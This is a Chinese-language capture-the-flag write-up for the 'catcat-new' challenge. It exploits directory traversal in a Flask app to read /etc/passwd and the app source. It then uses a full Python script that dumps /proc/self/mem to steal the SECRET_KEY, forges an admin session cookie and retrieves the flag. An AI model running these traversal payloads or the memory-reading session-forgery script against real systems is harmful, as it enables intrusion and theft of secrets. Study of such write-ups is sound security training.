catcat-new【目录穿透+特殊文件】
题目界面
点击任何一只猫猫,发现路径泄露:
解题步骤
-
测试目录遍历漏洞
路径:
?file=../../../../etc/passwd
成功读取到passwd文件:
-
获取当前启动进程的完整命令
路径:
?file=../../../proc/self/cmdline
,发现有一个app.py文件注:大部分python编写的网站脚本都是名为app.py
-
获取app.py内容
尝试app.py文件的路径,刚好在当前目录的上一级中:
?file=../app.py
读取到的内容如下:
更改为易读的标准格式:
import os import uuid from flask import Flask, request, session, render_template, Markup from cat import cat flag = "" app = Flask( __name__, static_url_path='/', static_folder='static' ) app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" if os.path.isfile("/flag"): flag = cat("/flag") os.remove("/flag") @app.route('/', methods=['GET']) def index(): detailtxt = os.listdir('./details/') cats_list = [] for i in detailtxt: cats_list.append(i[:i.index('.')]) return render_template("index.html", cats_list=cats_list, cat=cat) @app.route('/info', methods=["GET", 'POST']) def info(): filename = "./details/" + request.args.get('file', "") start = request.args.get('start', "0") end = request.args.get('end', "0") name = request.args.get('file', "")[:request.args.get('file', "").index('.')] return render_template("detail.html", catname=name, info=cat(filename, start, end)) @app.route('/admin', methods=["GET"]) def admin_can_list_root(): if session.get('admin') == 1: return flag else: session['admin'] = 0 return "NoNoNo" if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=5637)
由脚本知,定义了一个用于管理员权限验证的路由
/admin
,只有当会话中的admin
值为 1 时,才返回flag。否则,将admin
值设置为 0,并返回字符串 "NoNoNo"。由此知,此处需要伪造session。 -
伪造session并获取flag
伪造session的必要条件是获取密钥SECRET_KEY。由app.py知secret key在app(flask对象,存储在堆上)的config属性中的’SECRET_KEY‘键上。
此处需要借助几个进程文件相互配合获取堆上的SECRET KEY:
- /proc/self/mem:得到进程的内存内容
- /proc/self/maps:获取当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。
利用/proc/self/maps的映射信息来确定读的偏移值,通过/proc/self/mem文件读取密钥。
附上大佬的脚本:
# coding=utf-8 # ---------------------------------- ################################### # Edited by [email protected] ################################### # ---------------------------------- import requests import re import ast, sys from abc import ABC from flask.sessions import SecureCookieSessionInterface url = "http://61.147.171.105:54072/" # 此程序只能运行于Python3以上 if sys.version_info[0] < 3: # < 3.0 raise Exception('Must be using at least Python 3') # ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ---------------- class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key class FSCM(ABC): def encode(secret_key, session_cookie_structure): # Encode a Flask session cookie try: app = MockApp(secret_key) # 使用 ast.literal_eval 将字符串转换为字典 session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e # ------------------------------------------- # 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key s_key = "" bypass = "../.." # 请求file路由进行读取 map_list = requests.get(url + f"info?file={bypass}/proc/self/maps") # 获取到的响应文本通过'split("\\n")'按行分割,得到一个包含每行内容的列表'map_list' map_list = map_list.text.split("\\n") # 遍历每行的内容 for i in map_list: # 匹配指定格式的地址 map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i) if map_addr: start = int(map_addr.group(1), 16) end = int(map_addr.group(2), 16) print("Found rw addr:", start, "-", end) # 设置起始和结束位置并读取/proc/self/mem res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}") # 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey if "*abcdefgh" in res.text: # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text) if secret_key: print("Secret Key:", secret_key[0]) s_key = secret_key[0] break # 设置session中admin的值为1 data = '{"admin":1}' # 伪造session headers = { "Cookie": "session=" + FSCM.encode(s_key, data) } # 请求admin路由 try: flag = requests.get(url + "admin", headers=headers) print("Flag is", flag.text) except: print("Something error")